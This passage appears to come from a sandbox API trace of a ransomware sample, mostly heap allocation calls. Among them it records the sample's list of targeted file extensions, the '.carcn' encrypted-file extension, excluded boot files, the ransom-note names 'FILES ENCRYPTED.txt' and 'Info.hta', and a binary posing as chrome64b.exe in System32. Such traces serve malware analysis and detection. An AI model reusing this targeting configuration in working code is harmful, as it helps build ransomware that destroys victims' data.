(HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6aaa48 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad00 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aae80 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aae50 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aadf0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad18 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaca0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaf58 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aadc0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680df0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aacd0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aae08 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaf28 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaee0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aace8 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaf70 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aacb8 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad60 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aac88 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6aaf40 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aae68 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6aae20 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aae98 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad78 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad30 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aae38 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaeb0 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aaec8 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaef8 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad48 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aad90 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aada8 [0250.268] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aadd8 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaf10 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab108 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab018 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab120 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab138 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaf88 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab000 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab090 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aafa0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aafb8 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab060 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aafd0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6aafe8 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x12) returned 0x656540 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab030 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab048 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab078 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab0a8 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab0c0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab0d8 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab0f0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab6d0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab760 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab790 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab5e0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab880 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab6a0 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab700 [0250.269] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab688 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab5f8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab7d8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab820 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab640 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab6e8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab598 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab7f0 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab868 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6ab670 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab5b0 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e40 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab5c8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e20 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab778 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab718 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab7c0 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab610 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab6b8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab730 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab748 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab808 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab7a8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab838 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab850 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab658 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6ab628 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6abaa8 [0250.270] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e50 [0250.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6abac0 [0250.271] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6ab958 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ab160, Size=0x800) returned 0x6abd70 [0250.271] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0250.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699140 | out: hHeap=0x640000) returned 1 [0250.271] lstrlenW (lpString="") returned 0 [0250.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acae8 | out: hHeap=0x640000) returned 1 [0250.271] lstrlenW (lpString=".carcn") returned 6 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680d00, Size=0x8) returned 0x681010 [0250.271] lstrlenW (lpString=".carcn") returned 6 [0250.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acb78 | out: hHeap=0x640000) returned 1 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6aca10, Size=0x20) returned 0x680970 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680970, Size=0x40) returned 0x65f390 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f390, Size=0x80) returned 0x686058 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680d00, Size=0x8) returned 0x680f80 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680f80, Size=0x10) returned 0x6ac908 [0250.271] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ac908, Size=0x20) returned 0x6806f0 [0250.271] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0250.271] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686058 | out: hHeap=0x640000) returned 1 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ac9b0, Size=0x20) returned 0x680808 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680808, Size=0x40) returned 0x65f348 [0250.272] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0250.272] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0250.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f348 | out: hHeap=0x640000) returned 1 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ac8a8, Size=0x20) returned 0x680880 [0250.272] lstrlenW (lpString="Info.hta") returned 8 [0250.272] lstrlenW (lpString="Info.hta") returned 8 [0250.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680880 | out: hHeap=0x640000) returned 1 [0250.272] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6acd80, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe")) returned 0x21 [0250.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd80 | out: hHeap=0x640000) returned 1 [0250.272] lstrlenW (lpString="chrome64b.exe") returned 13 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6806f0, Size=0x40) returned 0x65f6a8 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ac908, Size=0x20) returned 0x6806f0 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acab8, Size=0x20) returned 0x6804c0 [0250.272] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6804c0, Size=0x40) returned 0x65f108 [0250.273] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f108, Size=0x80) returned 0x6865a8 [0250.273] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6865a8, Size=0x100) returned 0x687ab0 [0250.273] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0250.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0250.273] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6acd80, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0250.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6bcd88 | out: hHeap=0x640000) returned 1 [0250.273] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd80 | out: hHeap=0x640000) returned 1 [0250.274] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680ed0, Size=0x8) returned 0x680f80 [0250.274] lstrlenW (lpString="%windir%;") returned 9 [0250.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6806f0 | out: hHeap=0x640000) returned 1 [0250.274] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0250.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x69a148 | out: hHeap=0x640000) returned 1 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6aca10, Size=0x20) returned 0x6808f8 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6808f8, Size=0x40) returned 0x65f588 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f588, Size=0x80) returned 0x686300 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686300, Size=0x100) returned 0x687ab0 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680fd0, Size=0x8) returned 0x680ff0 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680ff0, Size=0x10) returned 0x6acb00 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acb00, Size=0x20) returned 0x680628 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680fa0, Size=0x8) returned 0x680ef0 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680f60, Size=0x8) returned 0x680fd0 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680f00, Size=0x8) returned 0x681050 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x681050, Size=0x10) returned 0x6acc38 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acc38, Size=0x20) returned 0x6808f8 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680ef0, Size=0x10) returned 0x6accf8 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680fd0, Size=0x10) returned 0x6acbd8 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680f20, Size=0x8) returned 0x681030 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680ff0, Size=0x8) returned 0x680ef0 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6accf8, Size=0x20) returned 0x680740 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acbd8, Size=0x20) returned 0x680768 [0250.275] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680f20, Size=0x8) returned 0x681040 [0250.276] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0250.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0250.276] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acbd8, Size=0x20) returned 0x680970 [0250.276] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x699140, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0250.276] lstrlenW (lpString="C:\\") returned 3 [0250.276] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0250.277] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699140 | out: hHeap=0x640000) returned 1 [0250.277] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x681020, Size=0x82) returned 0x687b40 [0250.277] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x681000, Size=0x100) returned 0x687bd0 [0250.277] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687b40, Size=0x104) returned 0x6ab160 [0250.278] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687bd0, Size=0x200) returned 0x6ab270 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680f50 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ab270 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6accf8 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x686300 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc20 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x685ca0 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6accc8 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ab160 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc38 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687cd8 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc50 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687d68 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd10 | out: hHeap=0x640000) returned 1 [0250.279] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6accc8, Size=0x20) returned 0x6806f0 [0250.279] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6806f0, Size=0x40) returned 0x65f348 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680ea0 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd40 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0250.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd58 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6866b8 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd28 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680fa0 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acbd8 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x657260 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6564e0 | out: hHeap=0x640000) returned 1 [0250.280] lstrlenW (lpString="%systemdrive%") returned 13 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680970 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6868d8 | out: hHeap=0x640000) returned 1 [0250.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680f40 | out: hHeap=0x640000) returned 1 [0250.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x689120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0250.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10014) returned 0x6acd80 [0250.281] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6acd58 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acd58, Size=0x20) returned 0x6805d8 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6805d8, Size=0x40) returned 0x65f420 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f420, Size=0x80) returned 0x686a70 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686a70, Size=0x100) returned 0x687ab0 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x200) returned 0x687ab0 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x400) returned 0x6ab160 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6ab160, Size=0x800) returned 0x69b148 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x69b148, Size=0x1000) returned 0x69b148 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x6bcda0 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6acd28 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6acbd8 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x680f20 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6acc20 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x681000 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6acc98 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680f20, Size=0x8) returned 0x680fa0 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6acd40 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680fa0, Size=0x10) returned 0x6acd10 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6acc38 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6accc8 [0250.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6acd10, Size=0x20) returned 0x6806c8 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6accf8 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680f20 [0250.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6acd10 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6acd58 [0250.283] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6806c8, Size=0x40) returned 0x65f390 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cdb20 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cd9e8 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cda90 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6cdad8 [0250.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6cda78 [0250.283] RtlAllocateHeap 